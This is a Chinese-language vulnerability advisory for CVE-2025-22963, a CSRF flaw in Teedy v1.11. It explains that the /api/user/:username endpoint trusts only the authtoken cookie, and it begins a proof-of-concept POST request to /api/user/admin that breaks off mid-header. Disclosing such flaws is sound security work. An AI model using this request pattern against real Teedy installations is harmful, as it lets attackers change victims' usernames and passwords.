CVE-2025-22963

概述 Teedy 版本 = v1.11 中的跨站请求伪造（CSRF）漏洞允许远程攻击者强制当前已认证的终端用户更改其在 Web 应用程序中的个人信息（用户名、密码等）。 漏洞 用户信息更改端点为 /api/user/:username。 该端点仅检查 Cookie 中的 authtoken 以进行授权。 authtoken 值可在其他源网站中使用。 root@kitploit: POST /api/user/admin HTTP/1.1 Host: localhost:8080 User-Agent: Mozilla/5.0 Windows NT 10.0; Win64; x64;...